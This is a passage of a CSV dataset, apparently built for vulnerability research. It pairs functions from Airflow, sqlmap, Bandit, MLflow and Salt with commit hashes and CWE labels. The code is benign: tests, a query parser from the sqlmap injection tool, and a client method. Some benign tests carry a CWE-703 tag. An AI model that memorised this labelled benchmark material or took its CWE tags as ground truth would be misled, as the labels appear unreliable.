            ""providers/microsoft/azure/tests/unit/microsoft/azure/operators/test_adls.py"",
            ""providers/microsoft/azure/tests/unit/microsoft/azure/test_version_compat.py"",
            ""providers/openlineage/tests/unit/openlineage/test_version_compat.py"",
            ""providers/opensearch/tests/unit/opensearch/test_version_compat.py"",
            ""providers/presto/tests/unit/presto/test_version_compat.py"",
            ""providers/redis/tests/unit/redis/test_version_compat.py"",
            ""providers/sftp/tests/unit/sftp/test_version_compat.py"",
            ""providers/snowflake/tests/unit/snowflake/test_version_compat.py"",
            ""providers/snowflake/tests/unit/snowflake/triggers/test_snowflake_trigger.py"",
            ""providers/standard/tests/unit/standard/operators/test_branch.py"",
            ""providers/standard/tests/unit/standard/operators/test_empty.py"",
            ""providers/standard/tests/unit/standard/operators/test_latest_only.py"",
            ""providers/standard/tests/unit/standard/operators/test_trigger_dagrun.py"",
            ""providers/standard/tests/unit/standard/sensors/test_external_task.py"",
            ""providers/standard/tests/unit/standard/sensors/test_filesystem.py"",
            ""providers/standard/tests/unit/standard/test_version_compat.py"",
            ""providers/standard/tests/unit/standard/utils/test_sensor_helper.py"",
            ""providers/trino/tests/unit/trino/test_version_compat.py"",
        ]
        modules_files: list[pathlib.Path] = list(
            AIRFLOW_PROVIDERS_ROOT_PATH.glob(""**/src/airflow/providers/**/*.py"")
        )
        # Exclude .build files
        modules_files = (f for f in modules_files if "".build"" not in f.parts)
        # Exclude .git files
        modules_files = (f for f in modules_files if "".git"" not in f.parts)
        # Exclude .venv files
        modules_files = (f for f in modules_files if "".venv"" not in f.parts)
        # Exclude node_modules
        modules_files = (f for f in modules_files if ""node_modules"" not in f.parts)
        # Exclude __init__.py
        modules_files = filter(lambda f: f.name != ""__init__.py"", modules_files)
        # Exclude example_dags
        modules_files = (f for f in modules_files if ""example_dags"" not in f.parts)
        # Exclude _vendor
        modules_files = (f for f in modules_files if ""_vendor"" not in f.parts)
        # Exclude versions file
        modules_files = (f for f in modules_files if ""versions"" not in f.parts)
        # Exclude get_provider_info files
        modules_files = (f for f in modules_files if ""get_provider_info.py"" not in f.parts)
        # Make path relative
        modules_files = list(f.relative_to(AIRFLOW_ROOT_PATH) for f in modules_files)
        current_test_files = list(AIRFLOW_PROVIDERS_ROOT_PATH.rglob(""**/tests/**/*.py""))
        # Make path relative
        current_test_files = list(f.relative_to(AIRFLOW_ROOT_PATH) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = set(f for f in current_test_files if not f.name == ""__init__.py"")
        # Exclude node_modules
        current_test_files = set(f for f in current_test_files if ""node_modules"" not in f.parts)

        modules_files_set = set(modules_files)
        expected_test_files = set(
            [
                pathlib.Path(
                    f.with_name(""test_"" + f.name)
                    .as_posix()
                    .replace(""/src/airflow/providers/"", ""/tests/unit/"")
                )
                for f in modules_files_set
            ]
        )
        expected_test_files = set(expected_test_files) - set(
            [pathlib.Path(test_file) for test_file in OVERLOOKED_TESTS]
        )

        missing_tests_files = [
            file.as_posix()
            for file in sorted(expected_test_files - expected_test_files.intersection(current_test_files))
        ]

        assert missing_tests_files == [], ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )",CWE-703,apache/airflow,ce8aa4d47622e15c34297c36a05755489cb91560,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /providers/ has a corresponding test_ file in providers/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        # TODO(potiuk) - check if that test actually tests something
        OVERLOOKED_TESTS = [
            ""providers/alibaba/tests/unit/alibaba/test_version_compat.py"",
            ""providers/amazon/tests/unit/amazon/aws/auth_manager/datamodels/test_login.py"",
            ""providers/amazon/tests/unit/amazon/aws/auth_manager/security_manager/test_aws_security_manager_override.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_batch_executor_config.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_boto_schema.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/aws_lambda/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/aws_lambda/docker/test_app.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/utils/test_base_config_keys.py"",
            ""providers/amazon/tests/unit/amazon/aws/operators/test_emr.py"",
            ""providers/amazon/tests/unit/amazon/aws/operators/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/sensors/test_emr.py"",
            ""providers/amazon/tests/unit/amazon/aws/sensors/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/test_exceptions.py"",
            ""providers/amazon/tests/unit/amazon/aws/triggers/test_sagemaker_unified_studio.py"",
            ""providers/amazon/tests/unit/amazon/aws/triggers/test_step_function.py"",
            ""providers/amazon/tests/unit/amazon/aws/utils/test_rds.py"",
            ""providers/amazon/tests/unit/amazon/aws/utils/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/waiters/test_base_waiter.py"",
            ""providers/amazon/tests/unit/amazon/test_version_compat.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/hooks/test_hdfs.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/sensors/test_hdfs.py"",
            ""providers/apache/hive/tests/unit/apache/hive/plugins/test_hive.py"",
            ""providers/apache/spark/tests/unit/apache/spark/test_version_compat.py"",
            ""providers/celery/tests/unit/celery/executors/test_celery_executor_utils.py"",
            ""providers/celery/tests/unit/celery/executors/test_default_celery.py"",
            ""providers/celery/tests/unit/celery/test_version_compat.py"",
            ""providers/cloudant/tests/unit/cloudant/test_cloudant_fake.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_exceptions.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_k8s_model.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_kube_client.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_kube_config.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_secret.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_version_compat.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_delete_from.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""providers/common/compat/tests/unit/common/compat/lineage/test_entities.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_operators.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_triggers.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_utils.py"",
            ""providers/common/compat/tests/unit/common/compat/test_version_compat.py"",
            ""providers/common/io/tests/unit/common/io/test_version_compat.py"",
            ""providers/common/messaging/tests/unit/common/messaging/providers/test_base_provider.py"",
            ""providers/common/messaging/tests/unit/common/messaging/providers/test_sqs.py"",
            ""providers/databricks/tests/unit/databricks/test_version_compat.py"",
            ""providers/dbt/cloud/tests/unit/dbt/cloud/test_version_compat.py"",
            ""providers/docker/tests/unit/docker/test_version_compat.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_job.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_logs.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_worker.py"",
            ""providers/edge3/tests/unit/edge3/test_version_compat.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test__v2_compat.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test__v2_routes.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test_jobs.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_app.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_auth.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_datamodels.py"",
            ""providers/elasticsearch/tests/unit/elasticsearch/test_version_compat.py"",
            ""providers/fab/tests/unit/fab/auth_manager/api_fastapi/datamodels/test_login.py"",
            ""providers/fab/tests/unit/fab/migrations/test_env.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_exceptions.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_parameters.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_security.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_types.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_appbuilder.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_jinja_globals.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_manifest_files.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_security.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_session.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_views.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_wsgi_middlewares.py"",
            ""providers/fab/tests/unit/fab/www/security/test_permissions.py"",
            ""providers/fab/tests/unit/fab/www/test_airflow_flask_app.py"",
            ""providers/fab/tests/unit/fab/www/test_app.py"",
            ""providers/fab/tests/unit/fab/www/test_constants.py"",
            ""providers/fab/tests/unit/fab/www/test_security_appless.py"",
            ""providers/fab/tests/unit/fab/www/test_security_manager.py"",
            ""providers/fab/tests/unit/fab/www/test_session.py"",
            ""providers/fab/tests/unit/fab/www/test_utils.py"",
            ""providers/fab/tests/unit/fab/www/test_views.py"",
            ""providers/google/tests/unit/google/cloud/fs/test_gcs.py"",
            ""providers/google/tests/unit/google/cloud/links/test_automl.py"",
            ""providers/google/tests/unit/google/cloud/links/test_base.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigquery.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigquery_dts.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigtable.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_build.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_functions.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_memorystore.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_sql.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_storage_transfer.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_tasks.py"",
            ""providers/google/tests/unit/google/cloud/links/test_compute.py"",
            ""providers/google/tests/unit/google/cloud/links/test_data_loss_prevention.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datacatalog.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataflow.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataform.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datafusion.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataprep.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataproc.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datastore.py"",
            ""providers/google/tests/unit/google/cloud/links/test_kubernetes_engine.py"",
            ""providers/google/tests/unit/google/cloud/links/test_life_sciences.py"",
            ""providers/google/tests/unit/google/cloud/links/test_mlengine.py"",
            ""providers/google/tests/unit/google/cloud/links/test_pubsub.py"",
            ""providers/google/tests/unit/google/cloud/links/test_spanner.py"",
            ""providers/google/tests/unit/google/cloud/links/test_stackdriver.py"",
            ""providers/google/tests/unit/google/cloud/links/test_vertex_ai.py"",
            ""providers/google/tests/unit/google/cloud/links/test_workflows.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_ray.py"",
            ""providers/google/tests/unit/google/cloud/sensors/vertex_ai/test_feature_store.py"",
            ""providers/google/tests/unit/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""providers/google/tests/unit/google/cloud/transfers/test_presto_to_gcs.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_bigquery.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_bigquery_get_data.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_dataform.py"",
            ""providers/google/tests/unit/google/common/links/test_storage.py"",
            ""providers/google/tests/unit/google/common/test_consts.py"",
            ""providers/google/tests/unit/google/common/hooks/test_operation_helpers.py"",
            ""providers/google/tests/unit/google/test_go_module_utils.py"",
            ""providers/google/tests/unit/google/test_version_compat.py"",
            ""providers/http/tests/unit/http/test_exceptions.py"",
            ""providers/microsoft/azure/tests/unit/microsoft/azure/operators/test_adls.py"",
            ""providers/microsoft/azure/tests/unit/microsoft/azure/test_version_compat.py"",
            ""providers/openlineage/tests/unit/openlineage/test_version_compat.py"",
            ""providers/opensearch/tests/unit/opensearch/test_version_compat.py"",
            ""providers/presto/tests/unit/presto/test_version_compat.py"",
            ""providers/redis/tests/unit/redis/test_version_compat.py"",
            ""providers/sftp/tests/unit/sftp/test_version_compat.py"",
            ""providers/snowflake/tests/unit/snowflake/test_version_compat.py"",
            ""providers/snowflake/tests/unit/snowflake/triggers/test_snowflake_trigger.py"",
            ""providers/standard/tests/unit/standard/operators/test_branch.py"",
            ""providers/standard/tests/unit/standard/operators/test_empty.py"",
            ""providers/standard/tests/unit/standard/operators/test_latest_only.py"",
            ""providers/standard/tests/unit/standard/operators/test_trigger_dagrun.py"",
            ""providers/standard/tests/unit/standard/sensors/test_external_task.py"",
            ""providers/standard/tests/unit/standard/sensors/test_filesystem.py"",
            ""providers/standard/tests/unit/standard/test_version_compat.py"",
            ""providers/standard/tests/unit/standard/utils/test_sensor_helper.py"",
            ""providers/trino/tests/unit/trino/test_version_compat.py"",
        ]
        modules_files: list[pathlib.Path] = list(
            AIRFLOW_PROVIDERS_ROOT_PATH.glob(""**/src/airflow/providers/**/*.py"")
        )
        # Exclude .build files
        modules_files = (f for f in modules_files if "".build"" not in f.parts)
        # Exclude .git files
        modules_files = (f for f in modules_files if "".git"" not in f.parts)
        # Exclude .venv files
        modules_files = (f for f in modules_files if "".venv"" not in f.parts)
        # Exclude node_modules
        modules_files = (f for f in modules_files if ""node_modules"" not in f.parts)
        # Exclude __init__.py
        modules_files = filter(lambda f: f.name != ""__init__.py"", modules_files)
        # Exclude example_dags
        modules_files = (f for f in modules_files if ""example_dags"" not in f.parts)
        # Exclude _vendor
        modules_files = (f for f in modules_files if ""_vendor"" not in f.parts)
        # Exclude versions file
        modules_files = (f for f in modules_files if ""versions"" not in f.parts)
        # Exclude get_provider_info files
        modules_files = (f for f in modules_files if ""get_provider_info.py"" not in f.parts)
        # Make path relative
        modules_files = list(f.relative_to(AIRFLOW_ROOT_PATH) for f in modules_files)
        current_test_files = list(AIRFLOW_PROVIDERS_ROOT_PATH.rglob(""**/tests/**/*.py""))
        # Make path relative
        current_test_files = list(f.relative_to(AIRFLOW_ROOT_PATH) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = set(f for f in current_test_files if not f.name == ""__init__.py"")
        # Exclude node_modules
        current_test_files = set(f for f in current_test_files if ""node_modules"" not in f.parts)

        modules_files_set = set(modules_files)
        expected_test_files = set(
            [
                pathlib.Path(
                    f.with_name(""test_"" + f.name)
                    .as_posix()
                    .replace(""/src/airflow/providers/"", ""/tests/unit/"")
                )
                for f in modules_files_set
            ]
        )
        expected_test_files = set(expected_test_files) - set(
            [pathlib.Path(test_file) for test_file in OVERLOOKED_TESTS]
        )

        missing_tests_files = [
            file.as_posix()
            for file in sorted(expected_test_files - expected_test_files.intersection(current_test_files))
        ]

        assert missing_tests_files == [], ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectRownum = re.search(r""\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        _ = zeroDepthSearch(query, "" FROM "")
        if not _:
            fieldsSelectFrom = None

        fieldsToCastStr = fieldsNoSelect

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.group(1)
        elif fieldsExists:
            if fieldsSelect:
                fieldsToCastStr = fieldsSelect.group(1)
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.group(1)
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.group(1)
        elif fieldsSelectDistinct:
            if Backend.getDbms() in (DBMS.HSQLDB,):
                fieldsToCastStr = fieldsNoSelect
            else:
                fieldsToCastStr = fieldsSelectDistinct.group(1)
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.group(1)
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT%s\s+"" % prefixRegex, """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.group(1)

        fieldsToCastStr = fieldsToCastStr or """"

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists",,sqlmapproject/sqlmap,c54c2204a136be8878d5e53b2a9c8c03b70bef7b,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectRownum = re.search(r""\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        _ = zeroDepthSearch(query, "" FROM "")
        if not _:
            fieldsSelectFrom = None

        fieldsToCastStr = fieldsNoSelect

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.group(1)
        elif fieldsExists:
            if fieldsSelect:
                fieldsToCastStr = fieldsSelect.group(1)
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.group(1)
        elif fieldsSelectRownum:
            fieldsToCastStr = fieldsSelectRownum.group(1)
        elif fieldsSelectDistinct:
            if Backend.getDbms() in (DBMS.HSQLDB,):
                fieldsToCastStr = fieldsNoSelect
            else:
                fieldsToCastStr = fieldsSelectDistinct.group(1)
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.group(1)
        elif fieldsSelectFrom:
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT%s\s+"" % prefixRegex, """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.group(1)

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,examples/subprocess_shell.py,0,"def Popen(*args, **kwargs):
    print('hi')",UNKNOWN,PyCQA/bandit,055598028a84a6ec1545d7035463767d78c04729,"def Popen(*args, **kwargs):
    print('hi')"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/entities/test_span.py,0,"def test_from_dict_raises_when_request_id_is_empty():
    with pytest.raises(MlflowException, match=r""Failed to create a Span object from ""):
        Span.from_dict(
            {
                ""name"": ""predict"",
                ""context"": {
                    ""trace_id"": ""12345"",
                    ""span_id"": ""12345"",
                },
                ""parent_id"": None,
                ""start_time"": 0,
                ""end_time"": 1,
                ""status_code"": ""OK"",
                ""status_message"": """",
                ""attributes"": {
                    ""mlflow.traceRequestId"": None,
                },
                ""events"": [],
            }
        )",,mlflow/mlflow,4327e7b1e1cf8bd24b7949c69bdf2cccc0b5ddf0,"def test_from_dict_raises_when_request_id_is_empty():
    with pytest.raises(MlflowException, match=r""Failed to create a Span object from ""):
        Span.from_dict(
            {
                ""name"": ""predict"",
                ""context"": {
                    ""trace_id"": ""0x12345"",
                    ""span_id"": ""0x12345"",
                },
                ""parent_id"": None,
                ""start_time"": 0,
                ""end_time"": 1,
                ""status_code"": ""OK"",
                ""status_message"": """",
                ""attributes"": {
                    ""mlflow.traceRequestId"": None,
                },
                ""events"": [],
            }
        )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/gateway/client.py,0,"def search_routes(self, page_token: Optional[str] = None) -> PagedList[Route]:
        """"""
        Search for routes in the Gateway.

        :param page_token: Token specifying the next page of results. It should be obtained from
                           a prior ``search_routes()`` call.
        :return: Returns a list of all configured and initialized `Route` data for the MLflow
            Gateway Server. The return will be a list of dictionaries that detail the name, type,
            and model details of each active route endpoint.
        """"""
        request_parameters = {""page_token"": page_token} if page_token is not None else None
        response_json = self._call_endpoint(
            ""GET"", MLFLOW_GATEWAY_CRUD_ROUTE_BASE, json_body=json.dumps(request_parameters)
        ).json()
        routes = [
            Route(
                **{
                    **resp,
                    ""route_url"": resolve_route_url(
                        self._gateway_uri,
                        resp[""route_url""],
                    ),
                }
            )
            for resp in response_json.get(""routes"", [])
        ]
        next_page_token = response_json.get(""next_page_token"")
        return PagedList(routes, next_page_token)",,mlflow/mlflow,d2e767f2f81fbe151e18f8269ad7e044ca7bd476,"def search_routes(self, page_token: Optional[str] = None) -> PagedList[Route]:
        """"""
        Search for routes in the Gateway.

        :param page_token: Token specifying the next page of results. It should be obtained from
                           a prior ``search_routes()`` call.
        :return: Returns a list of all configured and initialized `Route` data for the MLflow
            Gateway Server. The return will be a list of dictionaries that detail the name, type,
            and model details of each active route endpoint.
        """"""
        request_parameters = {""page_token"": page_token} if page_token is not None else None
        response_json = self._call_endpoint(
            ""GET"", MLFLOW_GATEWAY_CRUD_ROUTE_BASE, json_body=json.dumps(request_parameters)
        ).json()
        for route in response_json[""routes""]:
            route[""route_url""] = resolve_route_url(self._gateway_uri, route[""route_url""])

        routes = [Route(**resp) for resp in response_json[""routes""]]
        next_page_token = response_json.get(""next_page_token"")
        return PagedList(routes, next_page_token)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/virt/test_network.py,1,"def test_update_nat_nochange(make_mock_network):
    """"""
    Test updating a NAT network without changes
    """"""
    net_mock = make_mock_network(
        """"""
        <network>
          <name>default</name>
          <uuid>d6c95a31-16a2-473a-b8cd-7ad2fe2dd855</uuid>
          <forward mode='nat'>
            <nat>
              <port start='1024' end='65535'/>
            </nat>
          </forward>
          <bridge name='virbr0' stp='on' delay='0'/>
          <mac address='52:54:00:cd:49:6b'/>
          <domain name='my.lab' localOnly='yes'/>
          <ip address='192.168.122.1' netmask='255.255.255.0'>
            <dhcp>
              <range start='192.168.122.2' end='192.168.122.254'/>
              <host mac='52:54:00:46:4d:9e' name='mirror' ip='192.168.122.136'/>
              <bootp file='pxelinux.0' server='192.168.122.110'/>
            </dhcp>
          </ip>
        </network>
        """"""
    )
    assert not virt.network_update(
        ""default"",
        None,
        ""nat"",
        ipv4_config={
            ""cidr"": ""192.168.122.0/24"",
            ""dhcp_ranges"": [{""start"": ""192.168.122.2"", ""end"": ""192.168.122.254""}],
            ""hosts"": {
                ""192.168.122.136"": {""mac"": ""52:54:00:46:4d:9e"", ""name"": ""mirror""},
            },
            ""bootp"": {""file"": ""pxelinux.0"", ""server"": ""192.168.122.110""},
        },
        domain={""name"": ""my.lab"", ""localOnly"": True},
        nat={""port"": {""start"": 1024, ""end"": ""65535""}},
    )
    define_mock = virt.libvirt.openAuth().networkDefineXML
    define_mock.assert_not_called()",CWE-703,saltstack/salt,40bbd20557553128e28abe7260249387337535d5,"def test_update_nat_nochange(make_mock_network):
    """"""
    Test updating a NAT network without changes
    """"""
    net_mock = make_mock_network(
        """"""
        <network>
          <name>default</name>
          <uuid>d6c95a31-16a2-473a-b8cd-7ad2fe2dd855</uuid>
          <forward mode='nat'>
            <nat>
              <port start='1024' end='65535'/>
            </nat>
          </forward>
          <bridge name='virbr0' stp='on' delay='0'/>
          <mac address='52:54:00:cd:49:6b'/>
          <domain name='my.lab' localOnly='yes'/>
          <ip address='192.168.122.1' netmask='255.255.255.0'>
            <dhcp>
              <range start='192.168.122.2' end='192.168.122.254'/>
              <host mac='52:54:00:46:4d:9e' name='mirror' ip='192.168.122.136'/>
              <bootp file='pxelinux.0' server='192.168.122.110'/>
            </dhcp>
          </ip>
        </network>
        """"""
    )
    assert not virt.network_update(
        ""default"",
        None,
        ""nat"",
        ipv4_config={
            ""cidr"": ""192.168.122.0/24"",
            ""dhcp_ranges"": [{""start"": ""192.168.122.2"", ""end"": ""192.168.122.254""}],
            ""hosts"": {
                ""192.168.122.136"": {""mac"": ""52:54:00:46:4d:9e"", ""name"": ""mirror""},
            },
            ""bootp"": {""file"": ""pxelinux.0"", ""server"": ""192.168.122.110""},
        },
        domain={""name"": ""my.lab"", ""localOnly"": True},
        nat={""port"": {""start"": 1024, ""end"": ""65535""}},
    )
    define_mock = virt.libvirt.openAuth().networkDefineXML
    define_mock.assert_not_called()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyspark/ml/__init__.py,0,"def _create_child_runs_for_parameter_search(parent_estimator, parent_model, parent_run, child_tags):
    from itertools import zip_longest

    client = MlflowClient()
    # Use the start time of the parent parameter search run as a rough estimate for the
    # start time of child runs, since we cannot precisely determine when each point
    # in the parameter search space was explored
    child_run_start_time = parent_run.info.start_time
    child_run_end_time = get_current_time_millis()

    estimator_param_maps = parent_estimator.getEstimatorParamMaps()
